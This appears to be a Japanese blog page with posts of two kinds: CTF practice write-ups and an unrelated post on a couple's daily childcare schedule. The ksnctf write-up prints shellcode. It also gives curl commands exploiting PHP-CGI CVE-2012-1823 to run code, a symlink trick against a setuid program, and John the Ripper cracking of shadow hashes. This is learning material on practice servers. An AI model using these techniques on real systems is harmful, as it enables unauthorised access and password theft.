\xD9\xEB\x9B\xD9\x74\x24\xF4\x31\xD2\xB2\x77\x31\xC9\x64\x8B\x71\x30\x8B\x76\x0C\x8B\x76\x1C\x8B\x46\x08\x8B\x7E\x20\x8B\x36\x38\x4F\x18\x75\xF3\x59\x01\xD1\xFF\xE1\x60\x8B\x6C\x24\x24\x8B\x45\x3C\x8B\x54\x28\x78\x01\xEA\x8B\x4A\x18\x8B\x5A\x20\x01\xEB\xE3\x34\x49\x8B\x34\x8B\x01\xEE\x31\xFF\x31\xC0\xFC\xAC\x84\xC0\x74\x07\xC1\xCF\x0D\x01\xC7\xEB\xF4\x3B\x7C\x24\x28\x75\xE1\x8B\x5A\x24\x01\xEB\x66\x8B\x0C\x4B\x8B\x5A\x1C\x01\xEB\x8B\x04\x8B\x01\xE8\x89\x44\x24\x1C\x61\xC3\xB2\x08\x29\xD4\x89\xE5\x89\xC2\x68\x8E\x4E\x0E\xEC\x52\xE8\x9F\xFF\xFF\xFF\x89\x45\x04\xBB\x7E\xD8\xE2\x73\x87\x1C\x24\x52\xE8\x8E\xFF\xFF\xFF\x89\x45\x08\x68\x6C\x6C\x20\x41\x68\x33\x32\x2E\x64\x68\x75\x73\x65\x72\x88\x5C\x24\x0A\x89\xE6\x56\xFF\x55\x04\x89\xC2\x50\xBB\xA8\xA2\x4D\xBC\x87\x1C\x24\x52\xE8\x61\xFF\xFF\xFF\x68\x6F\x78\x58\x20\x68\x61\x67\x65\x42\x68\x4D\x65\x73\x73\x31\xDB\x88\x5C\x24\x0A\x89\xE3\x68\x75\x58\x20\x20\x68\x36\x6F\x38\x72\x68\x79\x61\x6B\x43\x68\x76\x74\x33\x34\x68\x5F\x32\x48\x50\x68\x46\x4C\x41\x47\x31\xC9\x88\x4C\x24\x15\x89\xE1\x31\xD2\x52\x53\x51\x52\xFF\xD0\x31\xC0\x50\xFF\x55\x08\x51

これがshellcodeらしい。
自力で解析する気は更々無いので、exeファイルに変換してもらう。 shellcode exe convert 的な感じでググったら、こんな便利なオンラインでやってくれるサイトが。

http://sandsprite.com/shellcode_2_exe.php

さっきのshellcodeを貼り付けてconvertすると、exeファイルが降ってきた。
ダメ元で mac (with wine) で実行してみると、なんと実行できたしフラグが出てきたよ!!!!!

f:id:kusuwada:20180916071157p:plain

あまりに嬉しかったので画面キャプチャ。
しかもこれ、ジャンルが [Binary/Trivia] となっている。cipher とタイトルに付いていたのでてっきり crypto あたりかと思っていたら。

しかし知識と経験の無さから、今回も検索力を試される感じの解法になってしまった。どうやら alphanumeric な shellcode ってそちらの世界ではそこそこ有名らしいというか、よく使われるらしいので、最初からこの辺の知識があれば簡単なのかな?(80pt問題...( ಠ_ಠ )?)

我が家のタイムスケジュール 〜娘1歳〜

「お母さんエンジニアのロールモデルがいない」と話題らしいのと、もうすぐ娘が2歳になるので、それまでの振り返りも兼ねて、我が家のタイムスケジュールを起こしてみました。

娘が6ヶ月の頃から保育園に預けて復職、それから半年の時短勤務を経てフルタイム勤務で1年完走しそうです。時短のときのタイムスケジュールはもはやあまり覚えていないです。

残念ながら我が家には、スーパーマン/スーパーウーマンはいないので、食事の準備には作り置きを駆使しても30分かかりますし、お風呂も1時間くらいダラダラ入っちゃってます。子供が寝る時間も21:30と遅めです。本当は20:00位を目指すべきなんでしょうが…。子供もまだ一人なので、子沢山の方に比べれば負担は小さいかと思います。
そんな我家のタイムスケジュールになります。

タイムスケジュール

お母さんのタイムスケジュール共有が多いように思うのですが、うちは夫婦でかなり分担しているので、お父さんのスケジュールが必須です。
お父さんは仕事で遅いことも多いし、出張も時々ありますが、それでも朝は子供のお世話はほぼお任せしちゃっています。

f:id:kusuwada:20180912015402p:plain

基本情報

家族構成

  • 父・母・娘(1歳)
  • 祖父母や親戚は新幹線・飛行機の距離のため、会うのは盆と正月くらい
  • 関東在住

  • クラウドを利用したサービスの企画(or 受注)・開発・運用をするエンジニア
  • 裁量労働のフルタイム勤務
  • 復職後はチームリーダー的な役割が濃いめ
  • 一年間で大きく変化がありましたが、後半は開発のプロジェクトとSRE的活動のプロジェクト2つを担当
  • リモートは週一日まで可。特に定期的には使用していない。
  • ノートパソコンを持ち帰れば、ほぼ自宅で仕事できる
  • 通勤時間: 片道50分
  • 週末は月に3~6日程度趣味の外出あり (音楽関係)

  • 総務系のお仕事。非エンジニア。激務で有名な職種。
  • フルタイム+残業、定時には帰りづらい雰囲気とのこと
  • 定期的に配置換えがあり、異動先次第で残業時間が全然ちがう
  • 現在の部署では月2~5回ほど飲み会、平均すると月1回ほど国内出張がある
  • 基本リモートワークや持ち帰り仕事はNG
  • 通勤時間: 片道75分
  • 週末は月に1~3日程度趣味の外出あり (音楽関係・結婚式・勉強会など)

  • 1歳0ヶ月〜2歳 (1歳になったタイミングから母がフルタイムに)
  • 丈夫。よく食べる。かわいい(親ばか)

保育園

  • 駅近、家からは徒歩15分。自転車・ベビーカーは道中階段が多くて使いづらい
    • ただし遠回りをすれば、自転車で15分かけて登園可能
  • PTA的な業務をうっかり引き受けてしまう

工夫していること・心がけていること

夫婦どちらでも育児・家事OK!

早い段階で夫に丸投げする日を作る
娘のお世話は、最初から共働きを見据えていたので、夫婦とも一人で大丈夫なようにと思っていました。
いいきっかけだったのが、私が産後3ヶ月での演奏会に出るのを決めたこと。産後2ヶ月目ころから、練習のために日中ほぼ丸一日家を空ける日が月に2~3日出てきました。その間、夫にお世話を全てお願いしていた(授乳はミルクか絞っておいた母乳)のが、夫も自分で100%育児できるという自身につながっている気がします。
早いうちに夫に丸投げする日をちょくちょく作ると良いよ、とアドバイスいただいていたのですが、本当にそのとおりでした。

平日の担当を週一で交代
また、平日のお迎え担当を週一夫にやってもらうことで、普段私の担当している夕方以降の家事を把握してもらう、というのも意識しています。
役割が固定化しすぎてしまうと、いざ他の担当の家事をやろうと思った時にやり方が違ったりわからなかったりでお互いイライラしてしまう、というのをよく聞いていたので。
今はそうでもないのですが、半年前くらいまでかなり夫の仕事が忙しく、帰宅が0:00を回ることも多かったのですが、何とか週一のお迎えは実現してもらっていました。何とか娘との時間を取りたい(さもないと娘がすぐ「お母さんっ子」になってしまう)、という夫の思いもあって実現できていたかと思います。これだけ頑張ってお父さんが育児参加してくれていても、結局今はかなりお母さんっ子なんですけどね。。。

家事・育児を見える化

Topの表のようなタイムライン(手書き、随時更新)をリビングのよく見るところに貼っています。これも週一で役割を交代する時や、夫が出張でいないようなイレギュラーな時に、やり忘れがないか指差し確認するためです。
また「男性は特に可視化しないとやるべき家事に気づかない」という話も聞いていたので、毎日のTODOをリスト化しておくことで、(母)「これやってない(怒)、あれもやってない(怒)」(父)「また今日も文句ばっかり言ってる」みたいなことになる前に、夫が自分で確認して任務を遂行できるようにという狙いもありました。 これは本当に効果が大きかったように思います。夫は元々よく気づく方ではないし、私も気になったらすぐ口に出してしまうタイプなので、リストがなければ上記のような喧嘩が毎日・毎週勃発していたに違いありません。。。まぁリストがあっても喧嘩はなくなりはしないのですがね…。

また、週末にやることのリストも同じように書き出してリビングに貼っています。家全体の掃き掃除・拭き掃除とか買い出しとか作り置きとか。

好きなことを担当に

我が家では、メインシェフは夫です。
元々夫のほうが料理が好き、私が洗濯&アイロンが好き、というのもあり、家事の中でウェイトの大きいこの2つはなんとなくメイン担当が決まっています。逆に他は決まっていません。
好きなことのほうがこだわりも出てくるし、他の人にやられるよりストレスも低いかなーなんて思います。それでも上記の通り、たまに意識的に担当を入れ替えてやっています。

見えない家事を快く

メインシェフを夫にして良かったことがもう一つあります。
料理ってどうしても他の家事より時間が取られるし、料理とそれ以外、というふうに分けてもいいくらいウェイトが大きいです。そこを夫に担当してもらっていることで、私があまりストレス無く「気付かれない家事」をできている気がします。
家事を平等に分けた!もしくは納得行く割合で分担が決まった!という状態だと、心理的に分担に含まれないものってやりたくなくなるものです。ティッシュを新しいのと入れ替えたり、トイレットペーパーやオムツも然り、シャンプー入れ替えたりストックを把握して買いに行ったり。床に落ちているゴミを拾ったりダンボールを片付けたり。・・・挙げだすとキリがない。
こういった事に気づきやすいのはなぜか妻が多く、不平不満の温床になっているらしいのですが、わかります。わかります。うちもです。でも、メインシェフが夫なので、必然的に家事にかける時間は夫のほうが多め。となるとこちらも「今料理してくれてるし」と気付かれない家事をやることに抵抗がなくなります。

見えない家事を見える化する、という手もあると思いますし、家事分担アプリでそういうことを狙ったものも見ました。でも見えない家事全部挙げるのってキリがない。挙げたら挙げたで、その家事を見ながら生活するのもしんどそう。と思い、この方法は選択しませんでした。

家電に頼る

これは実践されている方も多いと思いますが、うちも復職にあたり、ルンバと食洗機を導入しました。特にルンバは、「毎日掃除してない」という罪悪感から解き放ってくれてありがたいです。
食洗機は、下洗いが結構必須なので手間は実はそれほど変わらないかも?とも思いますが、何より乾燥しておいてくれるのが嬉しいです。

やるべきこと・やりたいことを毎週書き出しておく

100均の手帳に、毎週やるべきこと・やりたいことを書き出します。自由時間に起きていられた時「で、今日何しよう?」から始めちゃうと、だらだらネットサーフィンしたりTwitterしたり携帯ゲームしたりしがちなので。
「やるべきこと」は、PTA業務や保育園でいるものの準備、旅行の準備など。「やりたいこと」は、勉強だったりCTFだったり裁縫だったり。今週はこれをやりたい!って書いておくと、さっと取り組みやすい気がします。

それぞれの家事育児タスク、どんな感じ?

それぞれのタイムラインのタスクがどんな感じか、他の方のタイムラインとか見てると気になるんですよね。「お風呂15分てどういうこと?」とか。なので自分のは書いておこうかなと。

朝の部

6:30頃に皆でのそのそと起き出し、夫はそのまま朝食作り、私は洗濯・歯磨き・洗顔・着替え・布団をたたむ、あたりを済ませます。トイレもだいたいこの時間に。
朝食作りは、本当に朝食のみです。夕飯の下ごしらえとかはありません。30分かけて子供のオムツ替えや相手もしながら作っているようです。メニューは基本和食。ご飯と味噌汁、卵料理何かが基本で、納豆や豆腐、トマトなどがつくことも。時々シェフの気まぐれ創作料理が出てくることもあります。
7:00過ぎから朝食を食べ始めます。私は20~25分で食べ終わり、すぐ化粧に入ります。化粧→洗濯物を干す→出勤、の流れで、7:35 ~ 7:50 くらいの時間に家を出ます。まぁ35分に出れないと遅刻なんですけど・・・汗
夫はその後、7:40くらいまでは子供のご飯に付き合いながら朝食の片付け、その後子供の歯磨き・着替えを済ませ、自分の身支度。ルンバに掃除をしてもらうためにリビングをさっと片付けて8:10頃に登園&出勤です。登園はだいたい自転車を使っているそうです。
私は8:30~, 夫は9:30~ の始業です。

夕方の部

17:00に退勤、18:00保育園着くらいでお迎えに行きます。
PTA業務が月2~3日くらい発生するので、園長先生や事務の先生と話したりすることも。
身支度をして18:10頃園を出ます。母はなるべく帰り道は子供と遊んだりお話したりしたいし、子供にも歩いてほしいので、基本歩きで帰ります。結果、家につくのは18:45くらい。夫がお迎えのときはちゃっと自転車で帰っているみたいなので、家につくのはもう少し早いらしい。

帰宅後は、洗濯物を入れたり園で出たビショビショのエプロンやうんちのついたおむつカバーを出したりして、夕飯準備に取り掛かります。夕飯は基本週末に作り置きしておいたメインおかず+副菜2品+味噌汁・ご飯、です。副菜は作りおきのときもありますし、簡単なものを作ることもあります。2品って言ってますが、冷奴やミニトマトブロッコリーなんかも立派な一品として数えさせていただいています。
夕食準備中は、子供は主にいないいないばぁ!アンパンマンなどのテレビを見て過ごしていただいています。なんとか関わってる感を出そうと、母も歌だけは一緒に歌うようにしています。

娘は遅いながらもめっちゃ食べるので、早くて30分、遅いと45分くらいかけて食べます(遅いときは途中で切り上げ)。最後のほうは私は片付けをしながら、子供は手づかみで食べれるものやお味噌汁をずずーっとやったりしながら20:00を迎えます。

20:00 ~ 20:10 くらいからお風呂開始。着替えて、トイレも済ませて、高確率で食べた後にうんちが出るのでそれを待ったりして、お風呂に入ります。お風呂では冬場は先に温まり、夏は先に体を洗い、母もフルで自分をきれいにします。
湯船に浸かる時間はひとしきり遊ぶくらい、5~10分くらいかなぁと思います。お風呂を上がるタイミングでは 20:50 くらいになっていることも多いです。ここでやっぱり時間がかなりかかっているような?
お風呂から上がって、保湿クリームを塗ったり着替えたり、髪を乾かしたり、上記の保育園で出た汚物の手洗いなどをして洗面所を出ると、21:10を回っていることがしばしば。やっぱりお風呂に1hかけてるな。
そこから歯磨きをして、本を一冊くらい読んで、21:30頃に就寝です。
ちなみに就寝、ほぼ毎日私のほうが一瞬で寝てしまうため、娘が実際に何時頃寝ているのか把握できていません・・・。

夜の部

夫が帰宅します。早い日は21時くらい、遅い日はタクシー帰りで2:00頃だったりします。帰宅したら私を起こしてくれるようお願い申し上げており、このタイミングで起きます。まぁ起きないことも多いらしいのですが・・・。
夫には、お風呂に入ったあとそのまま風呂掃除をしてもらいます。もし私が起きていなければ、再度起こしてもらいます。
起きたタイミングから、私は残りの家事をします。洗濯物を畳んだり、翌日の米屋お茶の準備をしたり、ゴミをまとめておいたり、登園準備をしたり。夫が早く帰ってきた日は、手伝ってもらうことも。

これらが終わったら晴れて自由時間です☀
といきたいところですが、これを書いている期間もPTA業務がちょこちょこ入って平均週一くらいでなんやかんやPTA作業やってる気がします。
あと、あまりしないようにしていますが、どうしても済ませておきたい仕事があった場合は持ち帰ってこの時間にやります。

自由時間は、育児日記書いたり写真の整理をしたり、プログラミングしたりCTFしたり。YouTubeで週末に演奏する曲の予習をしたり楽譜を印刷したり。裁縫してみたり。
日によってはすぐ寝ちゃうし、日によっては夜更かししすぎて睡眠時間削っちゃったり。気づいたら朝で家事も終わっていない!という時もあり。そんな日々です。

ご飯

もはや写真写りは度外視な感じですが、ミイルにほぼ毎日食事をアップしています。
アカウント:natu_tangerine
この試みは割と良いかと思っていて、子供の食べた量を後から振り返られるのも最高です。また、誰かの目に触れるかも!と思うと、ちょっとひと手間(パセリ粉振るとかそれくらい)かけて見た目を良くしようとするので、きっと子供の食欲にもつながっているに違いない。
ちなみに料理の腕はこれでは特に上がらなかった。

ある日の朝ごはん

f:id:kusuwada:20180912012008j:plain

ある日の晩ごはん

f:id:kusuwada:20180912012012j:plain

食事をちゃんと作ろう!子供の食事も記録しておこう!という目的でやっているので、旅行に行ったり外食したりする日は逆に載せてません。また、時間がない時なんかも写真写りは二の次で、とにかくぐちゃぐちゃでも撮ってアップする!って感じの運用にしてます。
振り返ってみると、朝も晩も同じようなメニューが並んでますが、栄養はまぁ摂れてるかなと。
休日は時々、シェフの力作が出てきます。

休日のシェフの力作

f:id:kusuwada:20180912012005j:plain

感想など

表にして改めて見てみると、夫の睡眠時間が思ったより短いことに気づきました。もう少し長く寝てもらえるよう改善を図りたいなぁと。やっぱり心身ともに皆健康が一番大事なので。

あとは、思ったよりも子供と関わっている時間が短いな、と。これ以上この時間を長くするには、時短勤務にするか全日リモートワークにするか、引っ越しか転職して職場を近くするか、くらいの選択肢になりそうです。どの選択肢も今の所考えていないので、せめて休日はもう少し趣味の外出をセーブして子供といる時間を増やそうと思いました。

また、改めてTwitterなどで流れてくる他の方の情報を見ていると、自分は職場環境が恵まれているなと感じます。リーダー&アドバイザ(時々実装)くらいの役割にしていただいたというのもありますが、自分の裁量で「今日はここまで」というのを線引きしやすく、開発のスケジュールも自分が立てるので無理なく進められています。アウトプット重視で評価していただけているので、残業していないからと言って評価が下がったということもありませんでした。私が早く帰るからか、自分のチームメンバーも以前と比べて残業が減っているように思います。

娘の2歳の誕生日を目前に振り返りができて、ちょうど良かったです。次の一年も健康第一で自分たちのペースでやっていければと思います。

ksnctf write-up #2 (#11~#20)

kusuwada.hatenablog.com

の続き

f:id:kusuwada:20180911155627p:plain

Riddle 200pt (解けていない)

問題

http://ksnctf.sweetduet.info/q/11/Riddle.exe

一個前の20pt問題の後に200pt問題。そしてお題が「謎解き」。難しそう!
しかもURLにアクセスしたら、exeファイル落ちてきたよ。どうしよう(mac)。

解答

一応中身を確認してみる。うん、知ってた。

$ file Riddle.exe 
Riddle.exe: PE32 executable (GUI) Intel 80386, for MS Windows

一応、macに入れているwineで立ち上がるかも?と実行してみるも、何も起こらず。
夫のwindowsPCを出動。
どうやらMS Visual C++ 2010 SP1 再頒布可能パッケージ、というのが起動に必要らしいのでinstall。

立ち上げると、謎解きが始まった!

  1. Witch creature in the morning goes on four feet, at noon on two, and in the evening upon three?
  2. よく見るクイズ。朝は本本足、昼は2本、夜は3本の生物は?赤ちゃん⇒人間⇒老人(+杖)で人間。
  3. 回答フォーマットで戸惑った。英語で先頭大文字だった。
  4. What is the largest island in the world?
  5. グリーンランド
  6. Answer to the Ultimate Question of Life, The Universe, and Everything
  7. なんかよくわからんけどぐぐったら 42 らしい
  8. What is the flag?
  9. いや知らんがな!教えてよ!

やっぱり普通の謎解きじゃなかった( ತಎತ)

バイナリ読む系かな?と思って後回しにしたが、一通り自力で解く回が終わった後ジャンルを確認すると [Binary(Reversing)] とのことだったので、パス。

Hypertext Preprocessor 70pt

問題

http://ctfq.sweetduet.info:10080/~q12/

解答

問題文のURLを踏むと、なんかおどろおどろしいページに飛んだ。

f:id:kusuwada:20180908005215p:plain

2012:1823:20:18:08:14:04:35:55:18:06:41:33

ページのタイトルは Clock になっている。そして問題文は Hypertext Preprocessor だ。PHPのことらしい。

HTMLのソースも特に気になる点はないので、とりあえず下記文言でググってみる。

php 2012 1823 20 18 09 07 16 07 55 39 44 20 44 -ksnctf

徳丸さんのサイトが出てきたのでこちらを拝見。

CGI版PHPにリモートからスクリプト実行を許す脆弱性(CVE-2012-1823) | 徳丸浩の日記

どうやら、 CVE-2012-1823 というphpに関する脆弱性があるらしい。これが今回の問題と関係あるか怪しいところだが、一応説明を見てみる。

2012年発見の脆弱性だそうな。

CGIPHPにリモートからスクリプト実行を許す脆弱性(CVE-2012-1823) CGI環境でPHPを動作させているサイトには、リモートからスクリプト実行を許してしまう脆弱性があります

CGIの仕様として、クエリ文字列に等号を含めない場合は、クエリ文字列がCGIスクリプトコマンドライン引数として指定されます。 例えば、http://example.jp/test.cgi?foo+bar+bazという呼び出しに対しては、test.cgiは以下のコマンドラインで呼び出されます。 test.cgi foo bar baz

へー!CGI使ったことないから知らなかった!(ウソ、もう10年以上前に触ったことがあったはず・・・。年がバレる・・・。)
まずは当てはまるか確認。

この仕様を悪用して、CGI版のPHPコマンドライン引数としてPHPのオプションを指定できます。例えば、http://example.jp/test.php?-s というリクエストは、-sオプション(スクリプトソースを表示)と解釈され、PHPスクリプトを実行する代わりに、ソースを表示します。

とのことなので、これを試してみる。

http://ctfq.sweetduet.info:10080/~q12/?-s

f:id:kusuwada:20180908010054p:plain

効いた!どうやらこの脆弱性が存在しているようだ。
ソースのコメントに Flag is in this directory. とある。

きっとソースと同じ階層にある flag.txt 的な何かを探して、表示させるのが正解だな。

そのまま徳丸さんサイトを読み進めると、こんな実証例が。

CVE-2012-1823の影響はスクリプトソースの表示だけではありません。PHPのオプションを組み合わせることにより、外部から任意のスクリプト実行が可能となります。具体的には、-dオプションを用いて、php.iniのディレクティブを外部から指定できます。 metasploitminute.comで紹介されていたExploitを元に、攻撃例を紹介します。以下の2つのphp.iniディレクティブを指定します。 allow_url_include=On auto_prepend_file=php://input ? 最初のディレクティブは、includeするファイルをURL指定でリモートから読み出すことを許可するものです。2番目のディレクティブは、PHP実行に先立ち、スクリプトをincludeしておくものですが、ファイル名としてphp://inputを指定しているため、POSTパラメータとして送信した内容をPHPスクリプトとして実行します。両者の組み合わせにより、外部から指定したスクリプトを実行することができます。

なんと。これを使って下記のリクエストを送ってみる。

$ curl -X POST -d '<?php system('ls'); exit();?>' http://ctfq.sweetduet.info:10080/~q12/?-d+allow_url_include%3DOn+-d+auto_prepend_file%3Dphp://input

実行結果

flag_flag_flag.txt
index.php
php.cgi

おお、ちゃんと ls 結果が出ている!

$ curl -X POST -d "<?php readfile('flag_flag_flag.txt'); exit();?>" http://ctfq.sweetduet.info:10080/~q12/?-d+allow_url_include%3DOn+-d+auto_prepend_file%3Dphp://input

これでFlagが出てきた!
今回は徳丸さんサイトにおんぶにだっこだった。

CGI環境でPHPを動作させているサイトには、リモートからスクリプト実行を許してしまう脆弱性があります。php.netから提供されている修正リリース(PHP 5.3.12 / PHP 5.4.2)は不完全なため、該当するサイトは至急回避策を導入することを推奨します。

脆弱性が判明した時期が、日本の連休中にあたっていたため、対策に必要な最低限の情報のみ提供しておりましたが、海外では攻撃のための情報が流通し始めており、かつ日本での連休が明けたことから、詳細情報を公開しました。

という記載が冒頭と最後に見られ、結構なインパクトの脆弱性が見つかったときの温度感が少し伝わってテンション上がった。

Proverb 70pt

問題

SSH: ctfq.sweetduet.info:10022
ID: q13
Pass: 8zvWx00MakSCQuGq

タイトルはことわざ。

解答

指定されたURL,PortにSSHで接続してみる。

$ ssh -p 10022 -l q13 ctfq.sweetduet.info

うんともすんとも言わないので諦めかけていたが、しばらく待っていたらパスワード聞かれた。
パスワード入れたらつながったので、じっくり周りを探索。

[q13@localhost ~]$ ls -la
合計 48
drwxr-xr-x   2 root root  4096  6月  1 05:01 2012 .
drwxr-xr-x. 17 root root  4096 10月  6 03:07 2014 ..
-rw-r--r--   1 root root    18  5月 11 03:31 2012 .bash_logout
-rw-r--r--   1 root root   176  5月 11 03:31 2012 .bash_profile
-rw-r--r--   1 root root   124  5月 11 03:31 2012 .bashrc
-r--------   8 q13a q13a    22  6月  1 05:21 2012 flag.txt
---s--x--x   8 q13a q13a 14439  6月  1 04:59 2012 proverb
-r--r--r--   2 root root   755  6月  1 04:58 2012 proverb.txt
-r--r--r--   1 root root   151  6月  1 04:48 2012 readme.txt

flag.txt がすぐそこにあるぞ!

[q13@localhost ~]$ less flag.txt 
flag.txt: 許可がありません

うん、知ってた。ということで、おとなしくreadme.txtを読んで見る。

You are not allowed to connect internet and write the home directory.
If you need temporary directory, use /tmp.
Sometimes this machine will be reset.

作業ディレクトリが必要なら /tmp を使ってくださいね。とのこと。
proverb.txtは中身が読めたので見てみたが、英語のことわざがずらっと書いてあるのみでした。 残るは proverb 実行ファイルのみ。こちらは実行権限が与えられているみたい。実行してみた。

[q13@localhost ~]$ ./proverb 
Take heed of the snake in the grass.
[q13@localhost ~]$ ./proverb 
The sky's the limit...
[q13@localhost ~]$ ./proverb 
Spare the rod and spoil the child.
[q13@localhost ~]$ ./proverb 
Ignorance is bliss.

実行するたびに一つずつことわざを言ってくれるだけっぽい。proverb.txtを読んで返してくれているのかな。
proverbくんが、proverb.txtじゃなくてflag.txtを読んでくれると嬉しいんだが。

ヘルプ機能はなし

$ ./proverb --help
The wolf knows what the ill beast thinks.
$ ./proverb -h
Nothing ventured, nothing gained.

引数は上記の通り見てなさそうだけど、一応ファイル名入れてみる。しかし読み先変わらず。

$ ./proverb flag.txt 
Truth lies at the bottom of a well.
$ ./proverb -i flag.txt 
The die is cast.

とにかく何か作業がしたいときは /tmp とのことだったので、/tmp にコピーを試みる。

$ cp flag.txt /tmp/flag.txt
cp: `flag.txt' と `/tmp/flag.txt' は同じファイルです
$ cp proverb /tmp/proverb
cp: `proverb' と `/tmp/proverb' は同じファイルです

なんだか一式すでに /tmp にいるみたい。

$ cd /tmp
$ ./proverb
Please make your own subdirectory.
$ cat proverb.txt
Please make your own subdirectory.

ということで、/tmp 配下の proverb.txt はことわざじゃなくて「自分のサブディレクトリ作ってね」というメッセージが書かれている。
お、なんか仕組みがわかってきたきがするぞ。導かれている。

$ mkdir kusuwada
$ cd kusuwada
$ cp /tmp/proverb.txt proverb.txt
$ cp /tmp/proverb proverb
cp: `/tmp/proverb' を 読み込み用でオープンできません: 許可がありません

proverb には読み込み権限がないので自分のサブディレクトリにコピーができない。ならばリンクを貼ってみよう。

$ ln -s /tmp/proverb proverb
$ ./proverb
Please make your own subdirectory.

よし、実行できた。proverb.txt を書き換えてみよう。

$ rm proverb.txt 
$ echo 'test message' > proverb.txt
$ ./proverb 
test message

よしよし、サブディレクトリ側の proverb.txt を読んでいるな。
あとは、ちょっと前につぶやいた
"proverbくんが、proverb.txtじゃなくてflag.txtを読んでくれると嬉しいんだが。"
をやるだけ。

$ rm proverb.txt 
$ ln -s /tmp/flag.txt proverb.txt
$ ./proverb

無事、 /tmp/flag.txt の中身が表示されました!

ちなみに、サブディレクトリにありがちな名前 test とかを入れると、

mkdir: ディレクトリ `test' を作成できません: ファイルが存在します

などと怒られるので、すでに誰かが test ディレクトリで作業していることがわかる。この test ディレクトリは直接名前を指定すれば誰でものぞけるので、誰かの行った作業がなんとなくわかってしまうという。
定期的にサーバーはresetするとのことだけど、運良く?悪く?他の人の痕跡を見つけてしまった場合、ネタバレしてしまうのであった。

John 60pt

問題

user00:$6$Z4xEy/1KTCW.rz$Yxkc8XkscDusGWKan621H4eaPRjHc1bkXDjyFtcTtgxzlxvuPiE1rnqdQVO1lYgNOzg72FU95RQut93JF6Deo/:15491:0:99999:7:::
user01:$6$ffl1bXDBqKUiD$PoXP69PaxTTX.cgzYS6Tlj7UBvstr6JruGctoObFXCr4cYXjIbxBSMiQZiVkKvUxXUC23zP8PUyXjq6qEq63u1:15491:0:99999:7:::
user02:$6$ZsJXadT/rv$T/2gVzYwMBaAsZnHIjnUSmTozIF/ebMvtHIJjikFehvB8pvy28DUIQYbTJLG6QAxhzJAKOROnZq0xV4hUGefM1:15491:0:99999:7:::
user03:$6$l0NHH5FF0H/U$fPv3c5Cdls/UaZmglR4Qqh8vhpIBsmY1sEjHi486ZcDQ2Vx5GY0fcQYSorWj6l42jfI47w437n.NBm8NArFyT/:15491:0:99999:7:::
...

このログっぽい文字列が問題。user20まで+user99の行が存在。

解答

最後の行に注目。userの番号飛んでるし、メッセージっぽい。

user99:$6$SHA512IsStrong$DictionaryIsHere.http//ksnctf.sweetduet.info/q/14/dicti0nary_8Th64ikELWEsZFrf.txt:15491:0:99999:7:::

SHA512 is storong dictionary is here. http//ksnctf.sweetduet.info/q/14/dicti0nary_8Th64ikELWEsZFrf.txt

ということで、アクセスしてみる。(httpプロトコルのところは少し書き換えが必要)

dicti0nary_8Th64ikELWEsZFrf.txt

finding
EACH
respond
THING
PROBATIONARY
ABUSE
secretly
・・・

と、単語が沢山登録されている。これは辞書型攻撃をしろということなのかな。
SHA-512でHash化した値が、このuserの後の値とマッチしたら良いとかそんな感じ?

と方針が見えてきたところで、試しに辞書の1つ目をSHA512してみたんです。

$ echo -n 'finding' | shasum -a 512 
d68e5ddcf52812ea5a973d8bfd7c39cb0896584f18f27a94ee789ed292fa66e1ea71c2c3f53910fb3b2af73e35949c13da768ac8264c631c380561f4b1eacd47  -

んー。なんか出力されたフォーマットが思ってたのと違うなー。 $6$*** みたいになってほしいんだな。あと 問題文側の行末のIPアドレスみたいな記載もなんのことやらなんだな。謎が残っていて気持ち悪い。

ので、 15491:0:99999:7::: -ksnctf とかでググってみた。すると、おすすめ検索のところに john the ripper の単語が。もしかしてこれじゃない?タイトルとあってるし。
と思って飛んでみた。

http://www.openwall.com/john

John the Ripper でパスワードをチェックする - いますぐ実践! Linuxシステム管理 / Vol.168 ※紹介記事

John the Ripper とは? John the Ripper とは、 shadow ファイルや passwd ファイルに含まれる暗号化されたパスワードを元に、 生のパスワードを推測するツールです。

ということで、これを使う気しかしない。辞書にも対応しているようで、好きな辞書を指定できるらしい。
使い方は、こちらの記事が非常にわかりやすい。

John the Ripperを使ってパスワードを解析する

macへのインストールは簡単。

$ brew install john

あとは、辞書の設定は wordlist optionで指定できるらしい。

$ john --fork=2 --format=sha512 --wordlist=john_dict.txt john_pass.txt 
No password hashes loaded (see FAQ)

ん?そうなの?ちょっと調べてみると

John The RipperをMacにインストールした【OS X】 - Phosphophyllite

この記事に

どうもパスワードファイルのハッシュフォーマットが違うと読めないそうです……。 Ubuntuで試したらうまくいったのでOSごとで違う部分があるのかもしれませんね。

というコメントが。また環境かー。UbuntuやCentは重いので消しちゃったんだよなー。
ということで1周目は後回しに。

2周目、やっぱりこれは解けそうだから悔しいなー、と。UbuntuVMを思い切っていれることに。せっかくなので、Ubuntu 18.04 LTE を install。お、ちょっとだけ見た目変わってる。
UbuntuにJhon the ripper を installするのは下記コマンド実施するだけ。簡単。

$ apt-get install john

実行してみる。

$ john --wordlist=john_dict.txt john_pass.txt
Loaded 21 password hashes with 21 different salts (crypt, generic crypt(3) [?/64])
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:00:11 3% 0g/s 0p/s 169.7c/s 169.7C/s finding..INITIALLY
floating         (user13)
ADDITIONAL       (user02)
HELD             (user10)
ultimate         (user08)
zero             (user19)
opinion          (user15)
karaoke          (user17)
SPIRITS          (user06)
QUESTION         (user16)
GENDER           (user03)
__________       (user04)
DELIGHT          (user20)
FREQUENT         (user00)
JENNY            (user09)
SUFFERS          (user11)
strange          (user18)
zecht            (user14)
independent      (user07)
applies          (user05)
LATTER           (user01)
LEAVE            (user12)
21g 0:00:03:06 100% 0.1127g/s 16.33p/s 165.8c/s 165.8C/s gravekeeper..ADMIRATION
Use the "--show" option to display all of the cracked passwords reliably
Session completed

おおお!ちゃんと解析できている。良かったよかった。

user00がFから始まって、user01がL...なので、user番号ごとにパスワードを並べ替えるっぽいぞ。
Excelで並べ替えて先頭文字を抽出していくと、FLAGになった!

Jewel 250pt (解いていない)

問題

http://ksnctf.sweetduet.info/q/15/Jewel.apk

宝石。

解答

点数的に難しそうだし、なにせリンク先の配布物が apk なので後回しにしていた。

一周終わった後にジャンル分けを見たら [Binary(Reversing)/Mobile] とのことだったのでスキップ。

Math I 150pt

問題

Let
  e = 65537,
  n = 1517330236262917595314610888889322115651087080826711948897066340883208205571592392362650858571076247939805436226544833224526137582834770402681005343930059463684528957271778199162575053306238099823295117697031968370690372250916935800738698142103275969223264184374648246277564306900886005299731265812255274723175925185522344831066577166867786835955092059346244885587228196357297758371381557924676260190209536670230008561217008649261974735505203813478978893582292682827884118215872470401293272325715864815977064075988643101088355047954735427424641386870772845440782632933485165110172437511822736907550777817722248753671107339823410418938404382732079381329288400012929311347390423061